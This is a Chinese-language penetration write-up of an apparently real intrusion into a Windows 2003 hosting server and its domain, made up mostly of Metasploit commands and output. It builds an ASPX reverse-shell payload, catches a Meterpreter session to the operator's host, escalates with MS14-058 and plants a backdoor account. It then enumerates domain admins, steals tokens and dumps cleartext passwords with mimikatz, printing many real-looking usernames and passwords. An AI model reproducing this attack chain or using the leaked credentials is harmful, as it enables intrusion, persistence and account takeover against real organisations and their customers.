|
0x01 前言
端口开放:21、80、135、443、445、3306、3392
补丁情况:658+补丁( Win2003 32位系统 )
脚本探测:支持Asp,Aspx脚本,不支持Php脚本
磁盘权限:C,D盘部分文件夹有可读/写权限(不允许跨站)
0x02 实战测试过程
pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe
root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=1x3.2x1.x0.1x8 LPORT=443 R | msfencode -t aspx -o /media/sf_Temp/test.aspx
root@c2unix:~
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.10
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.10:443
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 216.**.***.9
[*] Meterpreter session 1 opened (192.168.1.10:443 -> 216.**.***.9:2159) at 2014-12-29 04:11:44 +0800
meterpreter > getuid
Server username: TRESSAIWPD_194(lobom0)
meterpreter > getsystem
priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > sysinfo
Computer : TRESSA
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > background
Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set lhost 1x3.2x1.x0.1x8
msf exploit(ms14_058_track_popup_menu) > set lport 443
msf exploit(ms14_058_track_popup_menu) > set session 1
msf exploit(ms14_058_track_popup_menu) > exploit
[-] Handler failed to bind to 1x3.2x1.x0.1x8:443
[*] Started reverse handler on 0.0.0.0:443
[*] Launching notepad to host the exploit...
[+] Process 84492 launched.
[*] Reflectively injecting the exploit DLL into 84492...
[*] Injecting exploit into 84492...
[*] Exploit injected. Injecting payload into 84492...
[*] Payload injected. Executing exploit...
[*] Sending stage (770048 bytes) to 216.**.***.9
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened (192.168.1.10:443 -> 216.**.***.9:3037) at 2014-12-29 04:16:29 +0800
注:如果该提权模块显示利用成功,但并没有得到Metpreter会话,这可能是因为目标服务器上安装了诸如安全狗、麦咖啡或者什么其它的安全防护软件,以前多次遇到过这种情况,缺图。
msf exploit(ms14_058_track_popup_menu) > exploit
[-] Handler failed to bind to 1x3.2x1.x0.1x8:443
[*] Started reverse handler on 0.0.0.0:443
[*] Launching notepad to host the exploit...
[+] Process 84492 launched.
[*] Reflectively injecting the exploit DLL into 84492...
[*] Injecting exploit into 84492...
[*] Exploit injected. Injecting payload into 84492...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created
再次通过getuid命令查询当前权限时发现已经是“NT AUTHORITYSYSTEM”权限了,然后将当前会话进程迁移至PID为2796进程中,缺图。
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > ps
PID PPID Name Arch Session User Path
---- ---- ---- ------- ---- ----
...
2796 580 searchindexer.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32SearchIndexer.exe
67360 40764 notepad.exe x86 0 NT AUTHORITYSYSTEM C:WINDOWSsystem32notepad.exe
...
meterpreter > migrate 2796
Migrating from 67360 to 2796...
Migration completed successfully.
meterpreter > ipconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 65539
============
Name : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #2 - Packet Scheduler Miniport
Hardware MAC : 84:2b:2b:6b:45:11
MTU : 1500
IPv4 Address : 172.16.19.152
IPv4 Netmask : 255.255.252.0
Interface 65540
============
Name : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #3 - Packet Scheduler Miniport
Hardware MAC : 84:2b:2b:6b:45:0f
MTU : 1500
IPv4 Address : 216.***.***.9
IPv4 Netmask : 255.255.255.0
IPv4 Address : 64.**.***.229
IPv4 Netmask : 255.255.255.0
IPv4 Address : 209.200.***.***
IPv4 Netmask : 255.255.255.0
IPv4 Address : 209.200.***.***
IPv4 Netmask : 255.255.255.0
IPv4 Address : 209.200.***.***
IPv4 Netmask : 255.255.255.0
IPv4 Address : 216.**.***.113
IPv4 Netmask : 255.255.255.0
IPv4 Address : 209.200.***.***
IPv4 Netmask : 255.255.255.0
IPv4 Address : 209.200.***.***
IPv4 Netmask : 255.255.255.0
这里我们先用Metasploit中的enable_support_account模块在系统中留一个后门帐户,也可以用hashdump、mimikatz等命令获取目标主机的哈希和明文密码,缺图。
-
User:SUPPORT_388945a0
-
Pass:7a57a5a743894a0e
msf exploit(ms14_058_track_popup_menu) > use post/windows/manage/enable_support_account
msf post(enable_support_account) > set password 7a57a5a743894a0e
msf post(enable_support_account) > set session 2
msf post(enable_support_account) > exploit
[*] Target OS is Windows .NET Server (Build 3790, Service Pack 2).
[*] Harvesting users...
[+] Found SUPPORT_388945a0 account!
[*] Target RID is 1004
[*] Account is disabled, activating...
[*] Swapping RIDs...!
[*] Setting password to 7a57a5a743894a0e
[*] Post module execution completed
ipconfig /all //网卡配置信息,所属域以及IP段
ping backbox //显示该机器名的IP
net view //显示当前域中的计算机列表
net view /domain //查看有多少个域
net user /domain //获取所有域用户列表
net group /domain //获取域用户组信息
net group "domain admins" /domain //获取当前域管理员
net time /domain //域服务器一般也做时间服务器
dsquery server //查看域控服务器
dsquery subnet //查看域IP地址范围
msf post(enable_support_account) > sessions -i 2
Starting interaction with 2...
meterpreter > shell
Process 13204 created.
Channel 2 created.
Microsoft Windows [Version 5.2.3790]
Copyright 1985-2003 Microsoft Corp.
c:windowssystem32inetsrv>net group "domain admins" /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain hosting.lunarpages.com.
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
_new_win_user abbas.khan akumar
alexb alext brianl
dgreathouse dimitriosk epak
gcager gudiyak iismon
Jassi jayraju jmickle
lunarscripts mike mwaqas
richardd robotdoggy rodb
Tsinternetuser vartamonov vlaszlo
zafril
The command completed successfully.
c:windowssystem32inetsrv>dsquery server
"CN=THART,CN=Servers,CN=Sandiego,CN=Sites,CN=Configuration,DC=hosting,DC=lunarpages,DC=com"
"CN=PHART,CN=Servers,CN=Sandiego,CN=Sites,CN=Configuration,DC=hosting,DC=lunarpages,DC=com"
[172.16.17.176] =
[172.16.17.197] =
[172.16.17.112] =
[172.16.19.62] =
[172.16.17.221] =
[172.16.17.177] =
[172.16.18.30] =
[172.16.16.55] =
[216.***.***.207] =
\PHART = [172.16.17.208]
[172.16.17.199] =
[216.***.***.206] =
[172.16.16.120] =
[172.16.19.129] =
[172.16.16.129] =
[216.**.***.9] =
[172.16.19.72] =
[67.***.***.33] =
[172.16.18.169] =
\YED = [216.***.***.203]
加载incognito扩展,它可以用来盗窃目标主机令牌和假冒用户,列出目标主机可用令牌,可以看到有2个域管帐号:HOSTINGdimitriosk,HOSTINGrichardd。
meterpreter > use incognito
iLoading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM
TRESSAcodeb7
TRESSAIWAM_plesk(default)
TRESSAIWPC_10(techb7)
TRESSAIWPC_112(techn56)
TRESSAIWPC_120(csbelts2)
......
Impersonation Tokens Available
========================================
HOSTINGdimitriosk
HOSTINGrichardd
NT AUTHORITYANONYMOUS LOGON
TRESSAIUSR_baffledcomics23
TRESSAIUSR_bridgca
TRESSAIUSR_canva4
TRESSAIUSR_cellu12
......
接着我们使用mimikatz法国神器直接就能获取到了这2个域管帐号的明文密码,缺图。
meterpreter > wdigest
[as SYSTEM ] Running
[ ] Retrieving wdigest credentials
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;54487 NTLM
0;141544 NTLM TRESSA IWPD_323(jielu0) 1pDH4
0;146820 NTLM TRESSA IWPD_276(codeb7) 2FRj#
0;150429 NTLM TRESSA psaadm 2a 00 6d 00 48 00 6a 00 40 bc
0;146362 NTLM TRESSA IWPD_73(birch11) 2a)hx
0;145281 NTLM TRESSA IWPD_404(apsns0) 2i!@!
0;999 Negotiate HOSTING TRESSA$ 37 9f 4f db ad 52 cf a4 1b 0e f7 c0 33 ad 6c 6a f9 5a 21 aa 57 e3 33 42 b7 2a b3 52
0;996 Negotiate NT AUTHORITY NETWORK SERVICE 37 9f 4f db ad 52 cf a4 1b 0e f7 c0 33 ad 6c 6a f9 5a 21 aa 57 e3 33 42 b7 2a b3 52
0;143168 NTLM TRESSA IWPD_130(leopo1) A^Xku
0;150476 NTLM TRESSA IWPD_390(myp3n0) AehD8
0;50614744 Kerberos HOSTING richardd B0unc3d
0;87605279 Kerberos HOSTING richardd B0unc3d
0;143575 NTLM TRESSA IWPD_231(rmhar0) BARrc
0;150196 NTLM TRESSA IWPC_184(e2esoft0) C9rFi
0;1669440 NTLM TRESSA Plesk Administrator HOB.5Sd3X88C610rxYL/06.U0UbihUoU
0;148004 NTLM TRESSA IWPD_413(manuf5) I1)cd
0;147957 NTLM TRESSA IWPD_375(cellu12) I6oS)
0;63839802 Kerberos HOSTING dimitriosk TsAk1553!@
0;56964817 Kerberos HOSTING dimitriosk TsAk1553!@
0;143880 NTLM TRESSA IWPD_179(ringb2) U&RQo
0;144397 NTLM TRESSA IWPD_427(temp02) Uj$Da
0;49263709 NTLM TRESSA SvcCWRSYNC XgXS0fJkki1120
0;49609545 NTLM TRESSA SvcCWRSYNC XgXS0fJkki1120
0;147191 NTLM TRESSA IWPD_334(egorov0) agA+L
0;147850 NTLM TRESSA IWPD_399(smash11) btj#c
0;82470376 NTLM TRESSA codeb7 codebroker1
0;145375 NTLM TRESSA IWPD_48(obser14) d(nlK
0;144068 NTLM TRESSA IWPD_302(donas0) d-1!j
0;56760168 NTLM TRESSA robotdoggy xhn?O8kx!K
0;87616530 NTLM TRESSA robotdoggy xhn?O8kx!K
0;149472 NTLM TRESSA IWPD_290(expos12) xula)
0;147761 NTLM TRESSA IWPD_417(marig4) yy=^(
......
meterpreter > portfwd add -l 1234 -r 172.16.17.208 -p 3392
[*] Local TCP relay created: 0.0.0.0:1234 <-> 172.16.17.208:3392
meterpreter > portfwd delete -l 1234 //删除
0x03 一处问题测试
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.1.10:443
[*] Connecting to the server...
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (172.16.17.208:445).
msf exploit(handler) > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
msf exploit(psexec) > set SMBUSER administrator
msf exploit(psexec) > set SMBPASS windows****!@#123
msf exploit(psexec) > set RHOST 192.168.1.9
msf exploit(psexec) > set LPORT 4444
msf exploit(psexec) > exploit
[*] Started bind handler
[*] Connecting to the server...
[*] Authenticating to 192.168.1.9:445|WORKGROUP as user 'administrator'...
[*] Uploading payload...
[*] Created TFPRuonH.exe...
[+] 192.168.1.9:445 - Service started successfully...
[*] Deleting TFPRuonH.exe...
[*] Sending stage (770048 bytes) to 192.168.1.9
[*] Meterpreter session 6 opened (192.168.1.10:60880 -> 192.168.1.9:4444) at 2014-12-29 20:12:56 +0800
本文始发于微信公众号(渗透攻击红队):记一次MS14-058到域控实战记录
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论